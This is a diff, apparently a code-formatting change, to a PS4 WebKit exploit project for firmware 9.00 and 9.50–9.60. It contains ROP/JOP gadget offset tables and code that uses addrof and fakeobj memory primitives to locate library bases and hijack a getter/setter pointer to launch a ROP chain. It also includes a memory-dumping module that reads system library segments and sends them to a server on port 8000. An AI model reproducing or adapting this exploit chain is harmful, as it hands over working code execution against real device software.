// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret';
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x0000000000051a12, // `58 c3`
"pop rbx; ret": 0x00000000000be5d0, // `5b c3`
"pop rcx; ret": 0x00000000000657b7, // `59 c3`
"pop rdx; ret": 0x000000000000986c, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x000000000001f4d6, // `5e c3`
"pop rdi; ret": 0x0000000000319690, // `5f c3`
"pop rsp; ret": 0x000000000004e293, // `5c c3`
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
"pop r8; ret": 0x00000000001a7ef1, // `47 58 c3`
"pop r9; ret": 0x0000000000422571, // `47 59 c3`
"pop r10; ret": 0x0000000000e9e1d1, // `47 5a c3`
"pop r11; ret": 0x00000000012b1d51, // `47 5b c3`
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
"pop r12; ret": 0x000000000085ec71, // `47 5c c3`
"pop r13; ret": 0x00000000001da461, // `47 5d c3`
"pop r14; ret": 0x0000000000685d73, // `47 5e c3`
"pop r15; ret": 0x00000000006ab3aa, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000008db5b, // `c9 c3`
"ret": 0x0000000000000032, // `c3`
"leave; ret": 0x000000000008db5b, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
"mov rax, qword ptr [rax]; ret": 0x00000000000241cc, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x000000000000613b, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
[jop1]: 0x0000000000000000, // ``
[jop2]: 0x0000000000000000, // ``
[jop3]: 0x0000000000000000, // ``
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // ``
}),
);
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x24f04,
'setcontext' : 0x29448,
}));
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x24f04,
"setcontext": 0x29448,
}),
);
const libkernel_gadget_offsets = new Map(Object.entries({
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
'__error' : 0xCB80,
}));
"__error": 0xcb80,
}),
);
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2e73c18;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2e73c18;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x1ff60;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x1ff60;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4fa40;
const libc_base = strlen_addr.sub(off_strlen);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4fa40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain900Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_call(this.get_gadget("__error"));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain900 extends Chain900Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain900;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
Chain.init_class(gadgets, syscall_array);
}

View File

@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from '../../module/offset.mjs';
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
@@ -68,7 +64,7 @@ push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
const jop5 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -83,180 +79,187 @@ const jop5 = 'pop rsp; ret';
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x0000000000011c46, // `58 c3`
"pop rbx; ret": 0x0000000000013730, // `5b c3`
"pop rcx; ret": 0x0000000000035a1e, // `59 c3`
"pop rdx; ret": 0x000000000018de52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x0000000000092a8c, // `5e c3`
"pop rdi; ret": 0x000000000005d19d, // `5f c3`
"pop rsp; ret": 0x00000000000253e0, // `5c c3`
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
"pop r8; ret": 0x000000000003fe32, // `47 58 c3`
"pop r9; ret": 0x0000000000aaad51, // `47 59 c3`
// Not found in 9.50-9.60, but not currently used in exploit
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
// "pop r10; ret" : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
"pop r11; ret": 0x0000000001833a21, // `47 5b c3`
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
"pop r12; ret": 0x0000000000420ad1, // `47 5c c3`
"pop r13; ret": 0x00000000018fc4c1, // `47 5d c3`
"pop r14; ret": 0x000000000028c900, // `41 5e c3`
"pop r15; ret": 0x0000000001437c8a, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000056322, // `c9 c3`
"ret": 0x0000000000000032, // `c3`
"leave; ret": 0x0000000000056322, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
"mov rax, qword ptr [rax]; ret": 0x000000000000c671, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x0000000000010c07, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
[jop1]: 0x0000000000000000, // ``
[jop2]: 0x0000000000000000, // ``
[jop3]: 0x0000000000000000, // ``
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // ``
}),
);
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x21284,
'setcontext' : 0x254dc,
}));
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x21284,
"setcontext": 0x254dc,
}),
);
const libkernel_gadget_offsets = new Map(Object.entries({
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
'__error' : 0xbb60,
}));
"__error": 0xbb60,
}),
);
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2ebea68;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2ebea68;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x28870;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x28870;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4c040;
const libc_base = strlen_addr.sub(off_strlen);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4c040;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain950Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_call(this.get_gadget("__error"));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain950 extends Chain950Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain950;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
Chain.init_class(gadgets, syscall_array);
}

View File

@@ -55,109 +55,96 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// For a LibcInternal import we searched for strlen() but you can search for
// any libc function such as memcpy().
import * as config from './config.mjs';
import * as config from "./config.mjs";
import { Int } from './module/int64.mjs';
import { Addr, mem } from './module/mem.mjs';
import { make_buffer, find_base, resolve_import } from './module/memtools.mjs';
import { KB, MB } from './module/offset.mjs';
import { Int } from "./module/int64.mjs";
import { Addr, mem } from "./module/mem.mjs";
import { make_buffer, find_base, resolve_import } from "./module/memtools.mjs";
import { KB, MB } from "./module/offset.mjs";
import {
log,
align,
die,
send,
} from './module/utils.mjs';
import { log, align, die, send } from "./module/utils.mjs";
import * as rw from './module/rw.mjs';
import * as o from './module/offset.mjs';
import * as rw from "./module/rw.mjs";
import * as o from "./module/offset.mjs";
const origin = window.origin;
const port = '8000';
const port = "8000";
const url = `${origin}:${port}`;
const textarea = document.createElement('textarea');
const textarea = document.createElement("textarea");
// JSObject
const js_textarea = mem.addrof(textarea);
// boundaries of the .text + PT_SCE_RELRO portion of a module
function get_boundaries(leak) {
const lib_base = find_base(leak, true, true);
const lib_end = find_base(leak, false, false);
const lib_base = find_base(leak, true, true);
const lib_end = find_base(leak, false, false);
return [lib_base, lib_end]
return [lib_base, lib_end];
}
// dump a module's .text and PT_SCE_RELRO segments only
function dump(name, lib_base, lib_end) {
// assumed size < 4GB
const lib_size = lib_end.sub(lib_base).lo;
log(`${name} base: ${lib_base}`);
log(`${name} size: ${lib_size}`);
const lib = make_buffer(
lib_base,
lib_size
);
send(
url,
lib,
`${name}.sprx.text_${lib_base}.bin`,
() => log(`${name} sent`)
);
// assumed size < 4GB
const lib_size = lib_end.sub(lib_base).lo;
log(`${name} base: ${lib_base}`);
log(`${name} size: ${lib_size}`);
const lib = make_buffer(lib_base, lib_size);
send(url, lib, `${name}.sprx.text_${lib_base}.bin`, () => log(`${name} sent`));
}
// dump for libSceNKWebKit.sprx
function dump_libwebkit() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent'));
log(`vtable: ${addr}`);
const vtable = make_buffer(addr, 0x400);
send(url, vtable, `vtable_${addr}.bin`, () => log("vtable sent"));
const [lib_base, lib_end] = get_boundaries(addr);
dump('libSceNKWebKit', lib_base, lib_end);
const [lib_base, lib_end] = get_boundaries(addr);
dump("libSceNKWebKit", lib_base, lib_end);
return lib_base;
return lib_base;
}
// dump for libkernel_web.sprx
function dump_libkernel(libwebkit_base) {
const offset = 0x8d8;
const vtable_p = js_textarea.readp(0x18).readp(0);
// __stack_chk_fail
const stack_chk_fail_import = libwebkit_base.add(offset);
const offset = 0x8d8;
const vtable_p = js_textarea.readp(0x18).readp(0);
// __stack_chk_fail
const stack_chk_fail_import = libwebkit_base.add(offset);
const libkernel_leak = resolve_import(stack_chk_fail_import);
log(`__stack_chk_fail import: ${libkernel_leak}`);
const libkernel_leak = resolve_import(stack_chk_fail_import);
log(`__stack_chk_fail import: ${libkernel_leak}`);
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
dump('libkernel_web', lib_base, lib_end);
const [lib_base, lib_end] = get_boundaries(libkernel_leak);
dump("libkernel_web", lib_base, lib_end);
}
// dump for libSceLibcInternal.sprx
function dump_libc(libwebkit_base) {
const offset = 0x918;
const vtable_p = js_textarea.readp(0x18).readp(0);
// strlen
const strlen_import = libwebkit_base.add(offset);
const offset = 0x918;
const vtable_p = js_textarea.readp(0x18).readp(0);
// strlen
const strlen_import = libwebkit_base.add(offset);
const libc_leak = resolve_import(strlen_import);
log(`strlen import: ${libc_leak}`);
const libc_leak = resolve_import(strlen_import);
log(`strlen import: ${libc_leak}`);
const [lib_base, lib_end] = get_boundaries(libc_leak);
dump('libSceLibcInternal', lib_base, lib_end);
const [lib_base, lib_end] = get_boundaries(libc_leak);
dump("libSceLibcInternal", lib_base, lib_end);
}
function dump_webkit() {
const libwebkit_base = dump_libwebkit();
dump_libkernel(libwebkit_base);
dump_libc(libwebkit_base);
const libwebkit_base = dump_libwebkit();
dump_libkernel(libwebkit_base);
dump_libc(libwebkit_base);
}
// See globalFuncEval() from
@@ -183,23 +170,18 @@ function dump_webkit() {
// For example, the expression "eval(1)" has the JSValue encoding of 1 passed
// to *(rdi + 0x30).
function dump_eval() {
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
let addr = js_textarea;
// WebCore::HTMLTextAreaElement
addr = addr.readp(0x18);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
// vtable for WebCore::HTMLTextAreaElement
// in PT_SCE_RELRO segment (p_type = 0x6100_0010)
addr = addr.readp(0);
const libwebkit_base = find_base(addr, true, true);
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
const offset = impl.sub(libwebkit_base);
send(
url,
make_buffer(impl, 0x800),
`eval_dump_offset_${offset}.bin`,
() => log('sent')
);
const libwebkit_base = find_base(addr, true, true);
const impl = mem.addrof(eval).readp(0x18).readp(0x38);
const offset = impl.sub(libwebkit_base);
send(url, make_buffer(impl, 0x800), `eval_dump_offset_${offset}.bin`, () => log("sent"));
}
// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if
@@ -207,25 +189,17 @@ function dump_eval() {
// See howto_code_exec.txt about code execution via the vtable of a textarea
// element.
function dump_scrollLeft() {
let proto = Object.getPrototypeOf(textarea);
proto = Object.getPrototypeOf(proto);
proto = Object.getPrototypeOf(proto);
let proto = Object.getPrototypeOf(textarea);
proto = Object.getPrototypeOf(proto);
proto = Object.getPrototypeOf(proto);
const scrollLeft_get =
Object.getOwnPropertyDescriptors(proto).scrollLeft.get
;
const scrollLeft_get = Object.getOwnPropertyDescriptors(proto).scrollLeft.get;
// get the JSCustomGetterSetterFunction
const js_func = mem.addrof(scrollLeft_get);
const getterSetter = js_func.readp(0x28);
const getter = getterSetter.readp(8);
// get the JSCustomGetterSetterFunction
const js_func = mem.addrof(scrollLeft_get);
const getterSetter = js_func.readp(0x28);
const getter = getterSetter.readp(8);
